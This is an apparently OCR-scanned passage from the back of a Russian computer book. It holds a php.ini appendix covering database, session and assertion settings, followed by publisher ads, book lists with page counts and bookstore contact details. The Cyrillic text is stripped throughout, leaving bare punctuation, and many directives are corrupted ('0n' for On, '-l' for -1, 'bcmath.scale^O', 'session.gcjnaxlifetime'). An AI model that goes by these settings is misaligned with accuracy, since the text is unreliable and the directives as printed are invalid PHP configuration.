sybase.min_error_severity=10
; .
sybase.min_message_severity=10
; 3.0.
; On, PHP
; Sybase, ,
; .
; , , ,
; , .
Sybase.compatability_mode=0ff
[Sybase-CT]
sybct.allow_persistent=0n
550
VI.
sybct.max_persistent=-l
sybct.max_links=-l
sybct.min server severity=10
sybct.min_ciient_severity-10
[bcmathl
; bcmath-.
bcmath.scale^O
[browscap]
;browscap=extra/browscap.ini
[Informix]
ifx.default _host=
ifx.default userifx.default_password=
ifx.allow_persistent=On
ifx.max persister.t=-l
ifx.max links=-l
; On, select
; text blob .
ifx.textasvarchar=0
; select byte
; .
ifx.byteasvarchar=0
; PHP char
; . Informix SE.
ifx.charasvarchar=0
; F,<~:.f! , text byte ,
; , ,
ifx.blobinfile=0
; 0, NULL ,
; 'NULL'.
ifx.nullformat=0
2. PHP php.ini
55)
[Session]
; .
session.save _handler=files
; , save_handler-y.
; ,
; .
session.save path=C:\Program Files\PHP4\sessiondata
; Cookies,
session.use_cookies=l
session.name=PHPSESSID
; .
session.auto start=0
; Cookie . , 0.
session.cookie lifetime=0
; Cookie ,
session.cookie_path=/
; Cookie ,
session.cookie_domain=
; , . php
; ,
session.serialize_handler=php
; , ,
; , " " ,
; ,
session.gc_probability=l
;
; .
session.gcjnaxlifetime=1440
; HTTP Referer , ID
552
VI.
; "".
session.referer_check=
; , ,
session.entropy_length=0
;session.entropy_length=16
; , .
session. entropy__f ile=
;session.entropy file=/dev/urandom
; nocache, private, public
; HTTP,
session.cache_limiter=nocache
;
;
session.cache_expire=180
; "" SID. ,
; enable-trans-sid.
session.use_trans_sid=l
[MSSQL1
;extension=php_mssql.dll
mssql.allow_persistent=0n
mssql.max persistent=-l
mssql.max__links=-l
mssql.min_error_severity=10
mssql.min_message_severity=10
; 3.0.
mssql.compatability_mode=0ff
[Assertion]
;assert.active=0n
;
; .
;assert.warning=0n
2. PHP php.ini
553
; .
;assert.bail=0ff
; , .
;assert.callback=0
; eval
; error_reporting. true, ,
; error_reporting(0)
; eval().
;assert.quiet_eval=0
[Ingres II]
Ingres.allow_persistent=0n
Ingres.max_persistent=-l
Ingres.max_links=-l
; (: [node_id::]dbname[/srv_class]
Ingres.default_database=
Ingres.default_user=
Ingres.default_password=
[Verisign Payflow Pro]
pfpro.defaulthost="test.signio.com"
pfpro.defaultport=4 4 3
pfpro.defaulttimeout=30
; IP- proxy- ( ).
; pfpro.proxyaddress=
; proxy-
; pfpro.proxyport=
; proxy-
; pfpro.proxylogon=
; proxy-
; pfpro.proxypassword=
sou
w w w . s o f t l i n e . r u
117036 . ,
. , . 4
.: (095) 232-0023
e-mail: info@softline.ru
SoftLine?
, . .
- .
SoftLirie-direct
www.softline.ru
SoftLine
.
, SoftLine?
Microsoft
Borland
COMPAQ.
sitraka *"*
SoftLine
<allaire>
SoftLine, . , (
),
RAD . ,
Microsoft Developer Network, Sun Developer Essentials - SoftLine Support Subscription, - .
SoftLine .
NuMEGA
InstallShield.
S O F I W A B t 10
Component^
i SYBASE
"-"
:
" "
. . Windows 2000
. . Microsoft Windows 2000 Server.
. . Microsoft Windows 2000 Professional.
. . Microsoft Windows 2000 Server Professional.
. Adobe Illustrator 7.0
., . Word 2000
. HTML 3.2 ( -)
. Java ( -)
., A. Delphi 5
. MS Excel 2000
. .
., . PC. 4-
. . HTML 4.0
. MS SQL Server 2000
., . Microsoft Access 2000
., A. Microsoft Office 2000
. : -
. 1
. Windows 98
., . Java 2
' ., . Microsoft Internet Explorer 4
. :
. 2
., . XML
. Macromedia FreeHand 9
. Macromedia FreeHand 7
. Adobe Illustrator 9.0
. Adobe Illustrator 8.0
. CorelDRAW 9
. Adobe Photoshop 6.0
. WAP:
. PC ( )
. ., A. A. CorelDRAW 10:
. ., A. A. CorelDRAW 9:
A. Adobe InDesign
. ., A. A. PageMaker 6.5
. Microsoft SQL Server 7.0
. . Active Server Pages
592 .
960 .
752 .
1056 .
704 .
992 .
1040 .
1104 .
800 .
1088 .
1008 .
1024 .
672 .
1280 .
1088 .
728 .
848 .
592 .
1072.
720 .
528 .
736.
432 .
320 .
608 .
576 .
560 .
512 .
432 .
1248 .
1136 .
1136 .
704 .
832 .
720 .
672 .
. CorelDRAW ( -)
CD-ROM " "
Access 2000, Excel 2000, Word 2000, Office 2000
704 .
""
. Dynamic HTML ( -)
.
. -: , ,
. Windows
. .
. Windows 98 ( )
. Internet 2000
. Novell GroupWise 5.5:
A. Visual Basic 6.0: ( )
A. Excel, VBA, Internet
A. Microsoft Excel 2000:
. Windows ( )
., . Delphi
. . Delphi 5 ( )
. JavaScript Web-
. . MS Excel
. Excel 97/2000 ( )
. -
. .
. Borland .C++ 5
. Windows Me
. Windows 2000
. DirectX. Delphi ( -)
. Open GL Delphi ( )
. 3D Studio Max 3.0: ( -)
. 3ds max 4:
. MS Office Project
. . Motorola
. . , ,
.
A. Maple 6.
., . Visual C++ MFC, 2- ( )
. Web- MS Office 2000
., .
., . Microsoft Access 2000:
. Windows
. . Microsoft Office 2000:
. Access 97(c -)
., . IP-
496
384
256
304
320
496
448
480
.
.
.
.
.
.
.
.
448 .
816 .
576 .
384 .
656 .
784 .
880 .
304 .
416
480 .
320 .
876 .
448 .
352 .
416 .
352 .
480 .
448 .
400 .
560 .
320 .
624 .
528 .
1040 .
320 .
560 .
832 .
816 .
656 .
656 .
500 .
576 .
320 .
544 .
352 .
512 .
336 .
464 .
368 .
256 .
928 .
416 .
400 .
400 .
224 .
304 .
224 .
416.
368 .
450 .
752 .
1008 .
768 .
880 .
672 .
992 .
" BHV"
. Microsoft Excel VBA
. Microsoft Word ( )
.
A. Adobe Photoshop 5.0 ( )
336 .
256 .
256 .
448 .
""
Gala2000Group. 3D Studio Max 3.0 ( -)
., . Visual Basic 6.0
., . Microsoft Access 2000
.
. VBA
. Excel 2000 ( )
. Macromedia Flash 5
. Macromedia Dreamweaver 3
272 .
624 .
480 .
448 .
512 .
368 .
368 .
432 .
. MathCAD 2001
. 4
. Object Pascal Delphi 5 ( )
. . Turbo Pascal 7.0 Delphi,
2- ( )
. UML
., . Perl
., . Windows Millennium
., . FrontPage 2000
. Visual FoxPro 6.0
., . Windows 2000 Professional
. 3D Studio MAX 4.0
. Visual C++ 6 ( )
. #
. WML WMLScript
. AutoCAD 2000 Visual LISP
. ., . . Adobe Photoshop 6 ( )
. ., . . CorelDRAW 10
. MFC ( )
. Microsoft Outlook 2000
. Java
. Microsoft Word 2000
. .
. C++, 3- ( )
" "
. PC
. Web-
.
., . .
., . PC. Cakewalk. ""
., . PC
., . PC
., . PC
., . PC. Cakewalk Pro Audio 9
.
. PC
544 .
576 .
464 .
416.
304 .
432 .
464 .
512 .
512 .
528 .
304 .
960 .
576 .
240 .
672 .
608 .
640 .
640 .
336 .
464 .
560 .
272 .
688 .
352 .
288 .
320 .
608 .
272 .
272 .
256 .
240 .
512 .
230 .
400 .
CD-ROM " Windows 98"
.
. :
., . MS Access 2000 30
.
.
272
288
512
400
320
.
.
.
.
.
., .
, 2- .
. 600
., .
. C/C++
. Turbo Pascal
. MS SQL Server 7.0:
. SQL Server 7.0
. Linux: ( -)
., . PC: ,
.
. : , ,
. .
Motorola
. Microsoft Outlook 97
.
.
.
.
512 .
624 .
256 .
288
256
416
496
144
256
224
288
512
.
.
.
.
.
.
.
.
.
432
528
256
384
592
.
.
.
.
.
" "
.
.
. .
224 .
288 .
238 .
"-"
:
1.""
2. " "
3. " "
4. ""
5. ""
6. ""
/." "
8.""
9. ""
. , 6
. , 8
., 40
. . , 46
., 29
., 78
. , 28
., 9
. , 8
-
1.
"-"
2. ""
3. " "
4. ""
5. " "
6. " "
7. ""
8. " "
9. "- "
10. "- "
11. 1
12.
13.
14.
15.
16.
17.
18.
19.
""
" "
""
""
""
""
" "
""
20. " "
21. ""
. , 4, 26
(812)541 8551
. , 15
.., ., 41
. , 19
., 20
., 28
., 21
. ., ., 34
., 15
., 41
.., .
( )
.., ., 61
., 57
. , 16
., 65, . 13
., 127
., 33
. , 2
., 6
(812) 1090391
(812)3500324
(812)5885707
(812)3124936
(812)3120184
(812) 1649366
(812) 2309966
(812)3272060
(812)3270400
(812)3289691
. , 40
., 189
(812)3153117
(812)4434534
(812)321 4315
(812)2735053
(812) 4462209
(812) 2457039
(812)2542104
(812)5400852
(812) 1646565
1.
2.
3.
" "
" "
""
. , 105
. , 61
. , 11
(8582) 46 3028
(3852) 44 2446
(0832) 74 1326
4.
5.
6.
7.
8.
9.
10.
11.
12.
""
""
" "
""
""
" "
" 14"
""
" "
, 9
. , 33
. , 38
. , 14
. , 4/9
. . , 1 1
. , 23
. , 242
. , 75
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27. --
28. --
29.
30.
31.
32.
33.
""
""
""
""
""
" "
. , 4
. , 1 1
. , 28
. , 25
. , 14
. , 14
(0722) 22 4322
(0732) 55 4507
(8172)721743
(8172)724238
(271) 11259
(3432) 59 4200
(3432) 53 2490
(3412) 225764
(3952) 24 5526
24 9620
(0112) 434522
(0842) 57 6060
(3912) 276250
(85515) 22961
(8152)455568
(8312) 442273
""
. , 3
(8312)426589
""
""
""
" 12"
""
""
""
" 26"
" 4"
" "
""
""
""
" "
. . .-, 13
. , 36/14
. , 16
. , 89
. , 42
. , 24
. , 1
. , 123/67
. . , 41
. , 12
. , 56
. , 155
. , 62
. , 18
(81622)73021
(08762)61265
(3832) 69 3650
(3812) 400400
(3422)481564
(8142)773601
(8112) 165001
(8632) 66 6237
(8632) 66 8040
(8652) 27 0956
(0822) 33 0568
(3452) 22 7226
(3472) 22 5662
(0852) 30 4751
-
:
199397, -, / 194
. (812) 541-85-51, (812) 541-84-61
e-mail: trade@bhv.spb.su, root@bhv.spb.su
Internet: http://www.bhv.ru
, , , .
, .
TVw.bAv.ro
I I I I I I I I I I I I I I I I I
I I I
!
"-"
.
, ,
, ,
"-"
,
,
.
:
.: (812) 251 4244, 251 6501
e-mail: kat@bhv.ru
: (812) 2511295
Web-
.
Web- Apache Windows.
, Web-.
ateway Interface)
(Common
eb-
-
: 199397, -, / 194
. (812) 541-8551, (812) 541-8461
E-mail: trade@bhv.spb.su, Internet: www.bhv.ru
Web-